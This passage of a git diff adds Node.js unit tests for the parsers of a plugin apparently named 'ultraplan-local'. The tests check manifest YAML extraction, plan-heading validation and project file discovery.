+  assert.ok(r.errors.find(e => e.code === 'FM_MISSING'));
+});
diff --git a/plugins/ultraplan-local/tests/lib/manifest-yaml.test.mjs b/plugins/ultraplan-local/tests/lib/manifest-yaml.test.mjs
new file mode 100644
index 0000000..58fcaf0
--- /dev/null
+++ b/plugins/ultraplan-local/tests/lib/manifest-yaml.test.mjs
@@ -0,0 +1,110 @@
+import { test } from 'node:test';
+import { strict as assert } from 'node:assert';
+import {
+  extractManifestYaml,
+  parseManifest,
+  validateAllManifests,
+} from '../../lib/parsers/manifest-yaml.mjs';
+
+const STEP_BODY_GOOD = `### Step 1: Add validator
+
+- Files: lib/foo.mjs
+- Verify: \`npm test\` → expected: pass
+- Checkpoint: \`git commit -m "feat(lib): foo"\`
+- Manifest:
+  \`\`\`yaml
+  manifest:
+    expected_paths:
+      - lib/foo.mjs
+    min_file_count: 1
+    commit_message_pattern: "^feat\\\\(lib\\\\):"
+    bash_syntax_check: []
+    forbidden_paths: []
+    must_contain: []
+  \`\`\`
+`;
+
+const STEP_BODY_NO_MANIFEST = `### Step 1: oops
+
+no manifest here
+`;
+
+const STEP_BODY_INVALID_REGEX = `### Step 1: bad regex
+
+- Manifest:
+  \`\`\`yaml
+  manifest:
+    expected_paths:
+      - x
+    min_file_count: 1
+    commit_message_pattern: "[unclosed"
+    bash_syntax_check: []
+    forbidden_paths: []
+    must_contain: []
+  \`\`\`
+`;
+
+test('extractManifestYaml — finds fenced manifest block', () => {
+  const yaml = extractManifestYaml(STEP_BODY_GOOD);
+  assert.ok(yaml);
+  assert.match(yaml, /expected_paths/);
+});
+
+test('extractManifestYaml — null when missing', () => {
+  assert.equal(extractManifestYaml(STEP_BODY_NO_MANIFEST), null);
+});
+
+test('parseManifest — happy path produces all required keys', () => {
+  const r = parseManifest(STEP_BODY_GOOD);
+  assert.equal(r.valid, true, JSON.stringify(r.errors));
+  assert.deepEqual(r.parsed.expected_paths, ['lib/foo.mjs']);
+  assert.equal(r.parsed.min_file_count, 1);
+  assert.match(r.parsed.commit_message_pattern, /^\^feat/);
+});
+
+test('parseManifest — missing manifest produces MANIFEST_MISSING', () => {
+  const r = parseManifest(STEP_BODY_NO_MANIFEST);
+  assert.equal(r.valid, false);
+  assert.ok(r.errors.find(e => e.code === 'MANIFEST_MISSING'));
+});
+
+test('parseManifest — invalid regex caught', () => {
+  const r = parseManifest(STEP_BODY_INVALID_REGEX);
+  assert.equal(r.valid, false);
+  assert.ok(r.errors.find(e => e.code === 'MANIFEST_PATTERN_INVALID'));
+});
+
+test('parseManifest — missing required key flagged', () => {
+  const noCount = `### Step 1
+- Manifest:
+  \`\`\`yaml
+  manifest:
+    expected_paths:
+      - x
+    commit_message_pattern: "^x:"
+    bash_syntax_check: []
+    forbidden_paths: []
+    must_contain: []
+  \`\`\`
+`;
+  const r = parseManifest(noCount);
+  assert.equal(r.valid, false);
+  assert.ok(r.errors.find(e => e.code === 'MANIFEST_MISSING_KEY' && /min_file_count/.test(e.message)));
+});
+
+test('parseManifest — commit_message_pattern compiles via new RegExp', () => {
+  const r = parseManifest(STEP_BODY_GOOD);
+  const re = new RegExp(r.parsed.commit_message_pattern);
+  assert.ok(re.test('feat(lib): added foo'));
+  assert.ok(!re.test('chore: not it'));
+});
+
+test('validateAllManifests — aggregates per-step issues', () => {
+  const steps = [
+    { n: 1, body: STEP_BODY_GOOD },
+    { n: 2, body: STEP_BODY_NO_MANIFEST },
+  ];
+  const r = validateAllManifests(steps);
+  assert.equal(r.valid, false);
+  assert.ok(r.errors.find(e => /Step 2/.test(e.message)));
+});
diff --git a/plugins/ultraplan-local/tests/lib/plan-schema.test.mjs b/plugins/ultraplan-local/tests/lib/plan-schema.test.mjs
new file mode 100644
index 0000000..6a14f25
--- /dev/null
+++ b/plugins/ultraplan-local/tests/lib/plan-schema.test.mjs
@@ -0,0 +1,137 @@
+import { test } from 'node:test';
+import { strict as assert } from 'node:assert';
+import {
+  findSteps,
+  findForbiddenHeadings,
+  sliceSteps,
+  validatePlanHeadings,
+  extractPlanVersion,
+} from '../../lib/parsers/plan-schema.mjs';
+
+const GOOD_PLAN = `---
+plan_version: "1.7"
+---
+
+## Implementation Plan
+
+### Step 1: First step
+
+- Files: a.ts
+
+### Step 2: Second step
+
+- Files: b.ts
+
+### Step 3: Third step
+
+- Files: c.ts
+`;
+
+const FORBIDDEN_FASE = `## Implementation Plan
+
+## Fase 1: Forberedelse
+
+content here
+
+## Fase 2: Implementering
+
+more content
+`;
+
+const FORBIDDEN_PHASE = `### Phase 1: Setup
+
+content
+`;
+
+const FORBIDDEN_STAGE = `### Stage 1: Initial work
+
+content
+`;
+
+const FORBIDDEN_STEG = `### Steg 1: Norsk drift
+
+content
+`;
+
+test('findSteps — locates all canonical step headings', () => {
+  const steps = findSteps(GOOD_PLAN);
+  assert.equal(steps.length, 3);
+  assert.equal(steps[0].n, 1);
+  assert.equal(steps[0].title, 'First step');
+  assert.equal(steps[2].n, 3);
+  assert.equal(steps[2].title, 'Third step');
+});
+
+test('findSteps — empty for plan without steps', () => {
+  assert.deepEqual(findSteps('## Implementation Plan\n\nno steps yet'), []);
+});
+
+test('findForbiddenHeadings — Fase (Norwegian)', () => {
+  const f = findForbiddenHeadings(FORBIDDEN_FASE);
+  assert.equal(f.length, 2);
+  assert.match(f[0].raw, /Fase 1/);
+});
+
+test('findForbiddenHeadings — Phase (English)', () => {
+  const f = findForbiddenHeadings(FORBIDDEN_PHASE);
+  assert.equal(f.length, 1);
+});
+
+test('findForbiddenHeadings — Stage', () => {
+  assert.equal(findForbiddenHeadings(FORBIDDEN_STAGE).length, 1);
+});
+
+test('findForbiddenHeadings — Steg (Norwegian variant)', () => {
+  assert.equal(findForbiddenHeadings(FORBIDDEN_STEG).length, 1);
+});
+
+test('findForbiddenHeadings — clean plan has zero', () => {
+  assert.equal(findForbiddenHeadings(GOOD_PLAN).length, 0);
+});
+
+test('sliceSteps — body bounded by next step', () => {
+  const sections = sliceSteps(GOOD_PLAN);
+  assert.equal(sections.length, 3);
+  assert.match(sections[0].body, /First step/);
+  assert.match(sections[0].body, /Files: a\.ts/);
+  assert.ok(!sections[0].body.includes('Second step'));
+});
+
+test('validatePlanHeadings — strict accepts good plan', () => {
+  const r = validatePlanHeadings(GOOD_PLAN, { strict: true });
+  assert.equal(r.valid, true);
+  assert.equal(r.parsed.steps.length, 3);
+});
+
+test('validatePlanHeadings — strict rejects forbidden Fase form', () => {
+  const r = validatePlanHeadings(FORBIDDEN_FASE, { strict: true });
+  assert.equal(r.valid, false);
+  assert.ok(r.errors.find(e => e.code === 'PLAN_FORBIDDEN_HEADING'));
+});
+
+test('validatePlanHeadings — soft mode demotes forbidden to warning', () => {
+  const r = validatePlanHeadings(`### Step 1: ok\n\n### Phase 2: drift\n`, { strict: false });
+  assert.equal(r.errors.find(e => e.code === 'PLAN_FORBIDDEN_HEADING'), undefined);
+  assert.ok(r.warnings.find(w => w.code === 'PLAN_FORBIDDEN_HEADING'));
+});
+
+test('validatePlanHeadings — non-contiguous numbering is an error', () => {
+  const broken = '### Step 1: ok\ncontent\n\n### Step 3: skip\ncontent\n';
+  const r = validatePlanHeadings(broken, { strict: true });
+  assert.equal(r.valid, false);
+  assert.ok(r.errors.find(e => e.code === 'PLAN_STEP_NUMBERING'));
+});
+
+test('validatePlanHeadings — empty plan errors with PLAN_NO_STEPS', () => {
+  const r = validatePlanHeadings('## Implementation Plan\n\nno steps\n');
+  assert.ok(r.errors.find(e => e.code === 'PLAN_NO_STEPS'));
+});
+
+test('extractPlanVersion — from frontmatter', () => {
+  assert.equal(extractPlanVersion('plan_version: "1.7"\nfoo: bar\n'), '1.7');
+  assert.equal(extractPlanVersion('plan_version: 1.8\n'), '1.8');
+});
+
+test('extractPlanVersion — null when absent', () => {
+  assert.equal(extractPlanVersion('foo: bar\n'), null);
+});
diff --git a/plugins/ultraplan-local/tests/lib/project-discovery.test.mjs b/plugins/ultraplan-local/tests/lib/project-discovery.test.mjs
new file mode 100644
index 0000000..7d2805b
--- /dev/null
+++ b/plugins/ultraplan-local/tests/lib/project-discovery.test.mjs
@@ -0,0 +1,106 @@
+import { test } from 'node:test';
+import { strict as assert } from 'node:assert';
+import { mkdtempSync, mkdirSync, writeFileSync, rmSync } from 'node:fs';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+import {
+  discoverProject,
+  checkPhaseRequirements,
+} from '../../lib/parsers/project-discovery.mjs';
+
+function setupProject(structure) {
+  const root = mkdtempSync(join(tmpdir(), 'ultraplan-disc-'));
+  for (const [path, content] of Object.entries(structure)) {
+    const full = join(root, path);
+    mkdirSync(join(full, '..'), { recursive: true });
+    writeFileSync(full, content);
+  }
+  return root;
+}
+
+test('discoverProject — finds brief, plan, progress at root', () => {
+  const root = setupProject({
+    'brief.md': 'b',
+    'plan.md': 'p',
+    'progress.json': '{}',
+  });
+  try {
+    const a = discoverProject(root);
+    assert.equal(a.brief, join(root, 'brief.md'));
+    assert.equal(a.plan, join(root, 'plan.md'));
+    assert.equal(a.progress, join(root, 'progress.json'));
+  } finally {
+    rmSync(root, { recursive: true, force: true });
+  }
+});
+
+test('discoverProject — research files sorted by name', () => {
+  const root = setupProject({
+    'brief.md': 'b',
+    'research/03-third.md': 't',
+    'research/01-first.md': 'f',
+    'research/02-second.md': 's',
+  });
+  try {
+    const a = discoverProject(root);
+    assert.equal(a.research.length, 3);
+    assert.match(a.research[0], /01-first/);
+    assert.match(a.research[1], /02-second/);
+    assert.match(a.research[2], /03-third/);
+  } finally {
+    rmSync(root, { recursive: true, force: true });
+  }
+});
+
+test('discoverProject — architecture overview + gaps detected', () => {
+  const root = setupProject({
+    'brief.md': 'b',
+    'architecture/overview.md': 'o',
+    'architecture/gaps.md': 'g',
+  });
+  try {
+    const a = discoverProject(root);
+    assert.match(a.architecture.overview, /architecture\/overview\.md$/);
+    assert.match(a.architecture.gaps, /architecture\/gaps\.md$/);
+    assert.equal(a.architecture.looseFiles.length, 0);
+  } finally {
+    rmSync(root, { recursive: true, force: true });
+  }
+});
+
+test('discoverProject — loose architecture files surfaced for drift detection', () => {
+  const root = setupProject({
+    'architecture/overview.md': 'o',
+    'architecture/random-note.md': 'x',
+  });
+  try {
+    const a = discoverProject(root);
+    assert.equal(a.architecture.looseFiles.length, 1);
+    assert.match(a.architecture.looseFiles[0], /random-note/);
+  } finally {
+    rmSync(root, { recursive: true, force: true });
+  }
+});
+
+test('discoverProject — missing project dir returns empty artifacts', () => {
+  const a = discoverProject('/nonexistent/path/unlikely');
+  assert.equal(a.brief, null);
+  assert.equal(a.research.length, 0);
+});
+
+test('checkPhaseRequirements — research needs brief', () => {
+  const r = checkPhaseRequirements({ brief: null }, 'research');
+  assert.equal(r.valid, false);
+  assert.ok(r.errors.find(e => e.code === 'PROJECT_NO_BRIEF'));
+});
+
+test('checkPhaseRequirements — execute needs plan', () => {
+  const r = checkPhaseRequirements({ brief: 'x', plan: null }, 'execute');
+  assert.equal(r.valid, false);
+  assert.ok(r.errors.find(e => e.code === 'PROJECT_NO_PLAN'));
+});
+
+test('checkPhaseRequirements — happy path', () => {
+  const r = checkPhaseRequirements({ brief: 'x', plan: 'y' }, 'plan');
+  assert.equal(r.valid, true);
+});